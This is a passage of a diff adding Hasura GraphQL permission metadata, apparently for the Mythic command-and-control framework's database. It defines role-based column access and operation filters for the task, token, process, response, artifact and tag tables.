+ - role: spectator
+ permission:
+ columns:
+ - c2_profile_id
+ - id
+ - payload_type_id
+ filter: {}
+- table:
+ schema: public
+ name: process
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ array_relationships:
+ - name: tokens
+ using:
+ foreign_key_constraint_on:
+ column: process_id
+ table:
+ schema: public
+ name: token
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - task_id
+ - timestamp
+ - host
+ - process_id
+ - architecture
+ - parent_process_id
+ - bin_path
+ - name
+ - user
+ - operation_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - operation_id
+ - parent_process_id
+ - process_id
+ - task_id
+ - architecture
+ - bin_path
+ - host
+ - name
+ - user
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - id
+ - operation_id
+ - parent_process_id
+ - process_id
+ - task_id
+ - architecture
+ - bin_path
+ - host
+ - name
+ - user
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - id
+ - operation_id
+ - parent_process_id
+ - process_id
+ - task_id
+ - architecture
+ - bin_path
+ - host
+ - name
+ - user
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - id
+ - operation_id
+ - parent_process_id
+ - process_id
+ - task_id
+ - architecture
+ - bin_path
+ - host
+ - name
+ - user
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: response
+ configuration:
+ custom_root_fields: {}
+ custom_column_names:
+ response: response_raw
+ object_relationships:
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ computed_fields:
+ - name: response_text
+ definition:
+ function:
+ schema: public
+ name: response
+ comment: convert bytea to text for responses
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - response
+ - timestamp
+ - task_id
+ computed_fields:
+ - response_text
+ filter:
+ task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - response
+ - timestamp
+ - task_id
+ computed_fields:
+ - response_text
+ filter:
+ task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - id
+ - response
+ - timestamp
+ - task_id
+ computed_fields:
+ - response_text
+ filter:
+ task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - id
+ - response
+ - timestamp
+ - task_id
+ computed_fields:
+ - response_text
+ filter:
+ task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - id
+ - response
+ - timestamp
+ - task_id
+ computed_fields:
+ - response_text
+ filter:
+ task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: staginginfo
+ object_relationships:
+ - name: payload
+ using:
+ foreign_key_constraint_on: payload_id
+- table:
+ schema: public
+ name: task
+ object_relationships:
+ - name: callback
+ using:
+ foreign_key_constraint_on: callback_id
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ - name: commentOperator
+ using:
+ foreign_key_constraint_on: comment_operator_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: opsec_post_bypass_user
+ using:
+ foreign_key_constraint_on: opsec_post_bypass_user_id
+ - name: opsec_pre_bypass_user
+ using:
+ foreign_key_constraint_on: opsec_pre_bypass_user_id
+ - name: task
+ using:
+ foreign_key_constraint_on: parent_task_id
+ - name: token
+ using:
+ foreign_key_constraint_on: token_id
+ array_relationships:
+ - name: attacktasks
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: attacktask
+ - name: authenticationpackages
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: authenticationpackage
+ - name: callbackgraphedges
+ using:
+ foreign_key_constraint_on:
+ column: task_start_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: callbackgraphedgesByTaskEndId
+ using:
+ foreign_key_constraint_on:
+ column: task_end_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: callbacks
+ using:
+ foreign_key_constraint_on:
+ column: socks_task_id
+ table:
+ schema: public
+ name: callback
+ - name: callbacktokens
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: callbacktoken
+ - name: credentials
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: credential
+ - name: filebrowserobjs
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: filebrowserobj
+ - name: filemeta
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: filemeta
+ - name: keylogs
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: keylog
+ - name: logonsessions
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: logonsession
+ - name: payloadonhosts
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: payloadonhost
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: payload
+ - name: processes
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: process
+ - name: responses
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: response
+ - name: taskartifacts
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: taskartifact
+ - name: tasks
+ using:
+ foreign_key_constraint_on:
+ column: parent_task_id
+ table:
+ schema: public
+ name: task
+ - name: tasktags
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: tasktag
+ - name: tokens
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: token
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - agent_task_id
+ - callback_id
+ - command_id
+ - comment
+ - comment_operator_id
+ - completed
+ - display_params
+ - id
+ - operator_id
+ - opsec_post_blocked
+ - opsec_post_bypass_role
+ - opsec_post_bypass_user_id
+ - opsec_post_bypassed
+ - opsec_post_message
+ - opsec_pre_blocked
+ - opsec_pre_bypass_role
+ - opsec_pre_bypass_user_id
+ - opsec_pre_bypassed
+ - opsec_pre_message
+ - original_params
+ - params
+ - parent_task_id
+ - status
+ - status_timestamp_preprocessing
+ - status_timestamp_processed
+ - status_timestamp_processing
+ - status_timestamp_submitted
+ - stderr
+ - stdout
+ - subtask_group_name
+ - timestamp
+ - token_id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - agent_task_id
+ - callback_id
+ - command_id
+ - comment
+ - comment_operator_id
+ - completed
+ - display_params
+ - id
+ - operator_id
+ - opsec_post_blocked
+ - opsec_post_bypass_role
+ - opsec_post_bypass_user_id
+ - opsec_post_bypassed
+ - opsec_post_message
+ - opsec_pre_blocked
+ - opsec_pre_bypass_role
+ - opsec_pre_bypass_user_id
+ - opsec_pre_bypassed
+ - opsec_pre_message
+ - original_params
+ - params
+ - parent_task_id
+ - status
+ - status_timestamp_preprocessing
+ - status_timestamp_processed
+ - status_timestamp_processing
+ - status_timestamp_submitted
+ - stderr
+ - stdout
+ - subtask_group_name
+ - timestamp
+ - token_id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - agent_task_id
+ - callback_id
+ - command_id
+ - comment
+ - comment_operator_id
+ - completed
+ - display_params
+ - id
+ - operator_id
+ - opsec_post_blocked
+ - opsec_post_bypass_role
+ - opsec_post_bypass_user_id
+ - opsec_post_bypassed
+ - opsec_post_message
+ - opsec_pre_blocked
+ - opsec_pre_bypass_role
+ - opsec_pre_bypass_user_id
+ - opsec_pre_bypassed
+ - opsec_pre_message
+ - original_params
+ - params
+ - parent_task_id
+ - status
+ - status_timestamp_preprocessing
+ - status_timestamp_processed
+ - status_timestamp_processing
+ - status_timestamp_submitted
+ - stderr
+ - stdout
+ - subtask_group_name
+ - timestamp
+ - token_id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - agent_task_id
+ - callback_id
+ - command_id
+ - comment
+ - comment_operator_id
+ - completed
+ - display_params
+ - id
+ - operator_id
+ - opsec_post_blocked
+ - opsec_post_bypass_role
+ - opsec_post_bypass_user_id
+ - opsec_post_bypassed
+ - opsec_post_message
+ - opsec_pre_blocked
+ - opsec_pre_bypass_role
+ - opsec_pre_bypass_user_id
+ - opsec_pre_bypassed
+ - opsec_pre_message
+ - original_params
+ - params
+ - parent_task_id
+ - status
+ - status_timestamp_preprocessing
+ - status_timestamp_processed
+ - status_timestamp_processing
+ - status_timestamp_submitted
+ - stderr
+ - stdout
+ - subtask_group_name
+ - timestamp
+ - token_id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - agent_task_id
+ - callback_id
+ - command_id
+ - comment
+ - comment_operator_id
+ - completed
+ - display_params
+ - id
+ - operator_id
+ - opsec_post_blocked
+ - opsec_post_bypass_role
+ - opsec_post_bypass_user_id
+ - opsec_post_bypassed
+ - opsec_post_message
+ - opsec_pre_blocked
+ - opsec_pre_bypass_role
+ - opsec_pre_bypass_user_id
+ - opsec_pre_bypassed
+ - opsec_pre_message
+ - original_params
+ - params
+ - parent_task_id
+ - status
+ - status_timestamp_preprocessing
+ - status_timestamp_processed
+ - status_timestamp_processing
+ - status_timestamp_submitted
+ - stderr
+ - stdout
+ - subtask_group_name
+ - timestamp
+ - token_id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ update_permissions:
+ - role: developer
+ permission:
+ columns:
+ - comment
+ - comment_operator_id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ set:
+ comment_operator_id: x-hasura-User-Id
+ - role: mythic_admin
+ permission:
+ columns:
+ - comment
+ - comment_operator_id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ set:
+ comment_operator_id: x-hasura-User-Id
+ - role: operation_admin
+ permission:
+ columns:
+ - comment
+ - comment_operator_id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ set:
+ comment_operator_id: x-hasura-User-Id
+ - role: operator
+ permission:
+ columns:
+ - comment
+ - comment_operator_id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ set:
+ comment_operator_id: x-hasura-User-Id
+- table:
+ schema: public
+ name: taskartifact
+ configuration:
+ custom_root_fields: {}
+ custom_column_names:
+ artifact_instance: artifact_instance_raw
+ object_relationships:
+ - name: artifact
+ using:
+ foreign_key_constraint_on: artifact_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ computed_fields:
+ - name: artifact_instance_text
+ definition:
+ function:
+ schema: public
+ name: taskartifact_artifact_instance
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - task_id
+ - timestamp
+ - artifact_instance
+ - artifact_id
+ - operation_id
+ - host
+ computed_fields:
+ - artifact_instance_text
+ filter:
+ _or:
+ - operation_id:
+ _in: X-Hasura-operations
+ - task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - task_id
+ - timestamp
+ - artifact_instance
+ - artifact_id
+ - operation_id
+ - host
+ computed_fields:
+ - artifact_instance_text
+ filter:
+ _or:
+ - operation_id:
+ _in: X-Hasura-operations
+ - task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - id
+ - task_id
+ - timestamp
+ - artifact_instance
+ - artifact_id
+ - operation_id
+ - host
+ computed_fields:
+ - artifact_instance_text
+ filter:
+ _or:
+ - operation_id:
+ _in: X-Hasura-operations
+ - task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - id
+ - task_id
+ - timestamp
+ - artifact_instance
+ - artifact_id
+ - operation_id
+ - host
+ computed_fields:
+ - artifact_instance_text
+ filter:
+ _or:
+ - operation_id:
+ _in: X-Hasura-operations
+ - task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - id
+ - task_id
+ - timestamp
+ - artifact_instance
+ - artifact_id
+ - operation_id
+ - host
+ computed_fields:
+ - artifact_instance_text
+ filter:
+ _or:
+ - operation_id:
+ _in: X-Hasura-operations
+ - task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: tasktag
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ insert_permissions:
+ - role: developer
+ permission:
+ check:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - operation_id
+ - tag
+ - task_id
+ backend_only: false
+ - role: mythic_admin
+ permission:
+ check:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - operation_id
+ - tag
+ - task_id
+ backend_only: false
+ - role: operation_admin
+ permission:
+ check:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - operation_id
+ - tag
+ - task_id
+ backend_only: false
+ - role: operator
+ permission:
+ check:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - operation_id
+ - tag
+ - task_id
+ backend_only: false
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - operation_id
+ - tag
+ - task_id
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ allow_aggregations: true
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - operation_id
+ - tag
+ - task_id
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ allow_aggregations: true
+ - role: operation_admin
+ permission:
+ columns:
+ - id
+ - operation_id
+ - tag
+ - task_id
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ allow_aggregations: true
+ - role: operator
+ permission:
+ columns:
+ - id
+ - operation_id
+ - tag
+ - task_id
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ allow_aggregations: true
+ - role: spectator
+ permission:
+ columns:
+ - id
+ - operation_id
+ - tag
+ - task_id
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ allow_aggregations: true
+ update_permissions:
+ - role: developer
+ permission:
+ columns:
+ - tag
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ check:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ - role: mythic_admin
+ permission:
+ columns:
+ - tag
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ check:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ - role: operation_admin
+ permission:
+ columns:
+ - tag
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ check:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ - role: operator
+ permission:
+ columns:
+ - tag
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ check:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ delete_permissions:
+ - role: developer
+ permission:
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ - role: mythic_admin
+ permission:
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ - role: operation_admin
+ permission:
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ - role: operator
+ permission:
+ filter:
+ _and:
+ - operation_id:
+ _eq: X-Hasura-current-operation-id
+ - task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+- table:
+ schema: public
+ name: token
+ object_relationships:
+ - name: logonsession
+ using:
+ foreign_key_constraint_on: AuthenticationId_id
+ - name: process
+ using:
+ foreign_key_constraint_on: process_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ array_relationships:
+ - name: callbacktokens
+ using:
+ foreign_key_constraint_on:
+ column: token_id
+ table:
+ schema: public
+ name: callbacktoken
+ - name: tasks
+ using:
+ foreign_key_constraint_on:
+ column: token_id
+ table:
+ schema: public
+ name: task
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - Address
+ - AppContainer
+ - AppContainerNumber
+ - AppContainerSid
+ - AppId
+ - AppModelPolicies
+ - AppModelPolicyDictionary
+ - AttributesFlags
+ - AuditPolicy
+ - AuthenticationId_id
+ - BnoIsolationPrefix
+ - CanSynchronize
+ - Capabilities
+ - CreationTime
+ - DefaultDacl
+ - DenyOnlyGroups
+ - DeviceClaimAttributes
+ - DeviceGroups
+ - Elevated
+ - ElevationType
+ - EnabledGroups
+ - ExpirationTime
+ - Filtered
+ - Flags
+ - FullPath
+ - GrantedAccess
+ - GrantedAccessGeneric
+ - GrantedAccessMask
+ - GroupCount
+ - Groups
+ - Handle
+ - HandleReferenceCount
+ - HasRestrictions
+ - ImpersonationLevel
+ - Inherit
+ - IntegrityLevel
+ - IntegrityLevelSid
+ - IsClosed
+ - IsContainer
+ - IsPseudoToken
+ - IsRestricted
+ - IsSandbox
+ - LogonSid
+ - LowPrivilegeAppContainer
+ - MandatoryPolicy
+ - ModifiedId
+ - Name
+ - NoChildProcess
+ - NotLow
+ - NtType
+ - NtTypeName
+ - Origin
+ - Owner
+ - PackageFullName
+ - PackageIdentity
+ - PackageName
+ - PointerReferenceCount
+ - PrimaryGroup
+ - PrivateNamespace
+ - Privileges
+ - ProcessUniqueAttribute
+ - ProtectFromClose
+ - Restricted
+ - RestrictedDeviceClaimAttributes
+ - RestrictedDeviceGroups
+ - RestrictedSids
+ - RestrictedSidsCount
+ - RestrictedUserClaimAttributes
+ - SandboxInert
+ - Sddl
+ - SecurityAttributes
+ - SecurityDescriptor
+ - SessionId
+ - Source
+ - ThreadID
+ - TokenId
+ - TokenType
+ - TrustLevel
+ - UIAccess
+ - User
+ - UserClaimAttributes
+ - VirtualizationAllowed
+ - VirtualizationEnabled
+ - WriteRestricted
+ - deleted
+ - host
+ - id
+ - os
+ - process_id
+ - task_id
+ - timestamp_created
+ filter:
+ task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - Address
+ - AppContainer
+ - AppContainerNumber
+ - AppContainerSid
+ - AppId
+ - AppModelPolicies
+ - AppModelPolicyDictionary
+ - AttributesFlags
+ - AuditPolicy
+ - AuthenticationId_id
+ - BnoIsolationPrefix
+ - CanSynchronize
+ - Capabilities
+ - CreationTime
+ - DefaultDacl
+ - DenyOnlyGroups
+ - DeviceClaimAttributes
+ - DeviceGroups
+ - Elevated
+ - ElevationType
+ - EnabledGroups
+ - ExpirationTime
+ - Filtered
+ - Flags
+ - FullPath
+ - GrantedAccess
+ - GrantedAccessGeneric
+ - GrantedAccessMask
+ - GroupCount
+ - Groups
+ - Handle
+ - HandleReferenceCount
+ - HasRestrictions
+ - ImpersonationLevel
+ - Inherit
+ - IntegrityLevel
+ - IntegrityLevelSid
+ - IsClosed
+ - IsContainer
+ - IsPseudoToken
+ - IsRestricted
+ - IsSandbox
+ - LogonSid
+ - LowPrivilegeAppContainer
+ - MandatoryPolicy
+ - ModifiedId
+ - Name
+ - NoChildProcess
+ - NotLow
+ - NtType
+ - NtTypeName
+ - Origin
+ - Owner
+ - PackageFullName
+ - PackageIdentity
+ - PackageName
+ - PointerReferenceCount
+ - PrimaryGroup
+ - PrivateNamespace
+ - Privileges
+ - ProcessUniqueAttribute
+ - ProtectFromClose
+ - Restricted
+ - RestrictedDeviceClaimAttributes
+ - RestrictedDeviceGroups
+ - RestrictedSids
+ - RestrictedSidsCount
+ - RestrictedUserClaimAttributes
+ - SandboxInert
+ - Sddl
+ - SecurityAttributes
+ - SecurityDescriptor
+ - SessionId
+ - Source
+ - ThreadID
+ - TokenId
+ - TokenType
+ - TrustLevel
+ - UIAccess
+ - User
+ - UserClaimAttributes
+ - VirtualizationAllowed
+ - VirtualizationEnabled
+ - WriteRestricted
+ - deleted
+ - host
+ - id
+ - os
+ - process_id
+ - task_id
+ - timestamp_created
+ filter:
+ task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - Address
+ - AppContainer
+ - AppContainerNumber
+ - AppContainerSid
+ - AppId
+ - AppModelPolicies
+ - AppModelPolicyDictionary
+ - AttributesFlags
+ - AuditPolicy
+ - AuthenticationId_id
+ - BnoIsolationPrefix
+ - CanSynchronize
+ - Capabilities
+ - CreationTime
+ - DefaultDacl
+ - DenyOnlyGroups
+ - DeviceClaimAttributes
+ - DeviceGroups
+ - Elevated
+ - ElevationType
+ - EnabledGroups
+ - ExpirationTime
+ - Filtered
+ - Flags
+ - FullPath
+ - GrantedAccess
+ - GrantedAccessGeneric
+ - GrantedAccessMask
+ - GroupCount
+ - Groups
+ - Handle
+ - HandleReferenceCount
+ - HasRestrictions
+ - ImpersonationLevel
+ - Inherit
+ - IntegrityLevel
+ - IntegrityLevelSid
+ - IsClosed
+ - IsContainer
+ - IsPseudoToken
+ - IsRestricted
+ - IsSandbox
+ - LogonSid
+ - LowPrivilegeAppContainer
+ - MandatoryPolicy
+ - ModifiedId
+ - Name
+ - NoChildProcess
+ - NotLow
+ - NtType
+ - NtTypeName
+ - Origin
+ - Owner
+ - PackageFullName
+ - PackageIdentity
+ - PackageName
+ - PointerReferenceCount
+ - PrimaryGroup
+ - PrivateNamespace
+ - Privileges
+ - ProcessUniqueAttribute
+ - ProtectFromClose
+ - Restricted
+ - RestrictedDeviceClaimAttributes
+ - RestrictedDeviceGroups
+ - RestrictedSids
+ - RestrictedSidsCount
+ - RestrictedUserClaimAttributes
+ - SandboxInert
+ - Sddl
+ - SecurityAttributes
+ - SecurityDescriptor
+ - SessionId
+ - Source
+ - ThreadID
+ - TokenId
+ - TokenType
+ - TrustLevel
+ - UIAccess
+ - User
+ - UserClaimAttributes
+ - VirtualizationAllowed
+ - VirtualizationEnabled
+ - WriteRestricted
+ - deleted
+ - host
+ - id
+ - os
+ - process_id
+ - task_id
+ - timestamp_created
+ filter:
+ task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - Address
+ - AppContainer
+ - AppContainerNumber
+ - AppContainerSid
+ - AppId
+ - AppModelPolicies
+ - AppModelPolicyDictionary
+ - AttributesFlags
+ - AuditPolicy
+ - AuthenticationId_id
+ - BnoIsolationPrefix
+ - CanSynchronize
+ - Capabilities
+ - CreationTime
+ - DefaultDacl
+ - DenyOnlyGroups
+ - DeviceClaimAttributes
+ - DeviceGroups
+ - Elevated
+ - ElevationType
+ - EnabledGroups
+ - ExpirationTime
+ - Filtered
+ - Flags
+ - FullPath
+ - GrantedAccess
+ - GrantedAccessGeneric
+ - GrantedAccessMask
+ - GroupCount
+ - Groups
+ - Handle
+ - HandleReferenceCount
+ - HasRestrictions
+ - ImpersonationLevel
+ - Inherit
+ - IntegrityLevel
+ - IntegrityLevelSid
+ - IsClosed
+ - IsContainer
+ - IsPseudoToken
+ - IsRestricted
+ - IsSandbox
+ - LogonSid
+ - LowPrivilegeAppContainer
+ - MandatoryPolicy
+ - ModifiedId
+ - Name
+ - NoChildProcess
+ - NotLow
+ - NtType
+ - NtTypeName
+ - Origin
+ - Owner
+ - PackageFullName
+ - PackageIdentity
+ - PackageName
+ - PointerReferenceCount
+ - PrimaryGroup
+ - PrivateNamespace
+ - Privileges
+ - ProcessUniqueAttribute
+ - ProtectFromClose
+ - Restricted
+ - RestrictedDeviceClaimAttributes
+ - RestrictedDeviceGroups
+ - RestrictedSids
+ - RestrictedSidsCount
+ - RestrictedUserClaimAttributes
+ - SandboxInert
+ - Sddl
+ - SecurityAttributes
+ - SecurityDescriptor
+ - SessionId
+ - Source
+ - ThreadID
+ - TokenId
+ - TokenType
+ - TrustLevel
+ - UIAccess
+ - User
+ - UserClaimAttributes
+ - VirtualizationAllowed
+ - VirtualizationEnabled
+ - WriteRestricted
+ - deleted
+ - host
+ - id
+ - os
+ - process_id
+ - task_id
+ - timestamp_created
+ filter:
+ task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - Address
+ - AppContainer
+ - AppContainerNumber
+ - AppContainerSid
+ - AppId
+ - AppModelPolicies
+ - AppModelPolicyDictionary
+ - AttributesFlags
+ - AuditPolicy
+ - AuthenticationId_id
+ - BnoIsolationPrefix
+ - CanSynchronize
+ - Capabilities
+ - CreationTime
+ - DefaultDacl
+ - DenyOnlyGroups
+ - DeviceClaimAttributes
+ - DeviceGroups
+ - Elevated
+ - ElevationType
+ - EnabledGroups
+ - ExpirationTime
+ - Filtered
+ - Flags
+ - FullPath
+ - GrantedAccess
+ - GrantedAccessGeneric
+ - GrantedAccessMask
+ - GroupCount
+ - Groups
+ - Handle
+ - HandleReferenceCount
+ - HasRestrictions
+ - ImpersonationLevel
+ - Inherit
+ - IntegrityLevel
+ - IntegrityLevelSid
+ - IsClosed
+ - IsContainer
+ - IsPseudoToken
+ - IsRestricted
+ - IsSandbox
+ - LogonSid
+ - LowPrivilegeAppContainer
+ - MandatoryPolicy
+ - ModifiedId
+ - Name
+ - NoChildProcess
+ - NotLow
+ - NtType
+ - NtTypeName
+ - Origin
+ - Owner
+ - PackageFullName
+ - PackageIdentity
+ - PackageName
+ - PointerReferenceCount
+ - PrimaryGroup
+ - PrivateNamespace
+ - Privileges
+ - ProcessUniqueAttribute
+ - ProtectFromClose
+ - Restricted
+ - RestrictedDeviceClaimAttributes
+ - RestrictedDeviceGroups
+ - RestrictedSids
+ - RestrictedSidsCount
+ - RestrictedUserClaimAttributes
+ - SandboxInert
+ - Sddl
+ - SecurityAttributes
+ - SecurityDescriptor
+ - SessionId
+ - Source
+ - ThreadID
+ - TokenId
+ - TokenType
+ - TrustLevel
+ - UIAccess
+ - User
+ - UserClaimAttributes
+ - VirtualizationAllowed
+ - VirtualizationEnabled
+ - WriteRestricted
+ - deleted
+ - host
+ - id
+ - os
+ - process_id
+ - task_id
+ - timestamp_created
+ filter:
+ task:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: translationcontainer
+ array_relationships:
+ - name: payloadtypes
+ using:
+ foreign_key_constraint_on:
+ column: translation_container_id
+ table:
+ schema: public
+ name: payloadtype
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - name
+ - last_heartbeat
+ - deleted
+ - container_running
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - name
+ - last_heartbeat
+ - deleted
+ - container_running
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - id
+ - name
+ - last_heartbeat
+ - deleted
+ - container_running
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - id
+ - name
+ - last_heartbeat
+ - deleted
+ - container_running
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - id
+ - name
+ - last_heartbeat
+ - deleted
+ - container_running
+ filter: {}
+- table:
+ schema: public
+ name: wrappedpayloadtypes
+ object_relationships:
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: wrapper_id
+ - name: payloadtypeByWrappedId
+ using:
+ foreign_key_constraint_on: wrapped_id
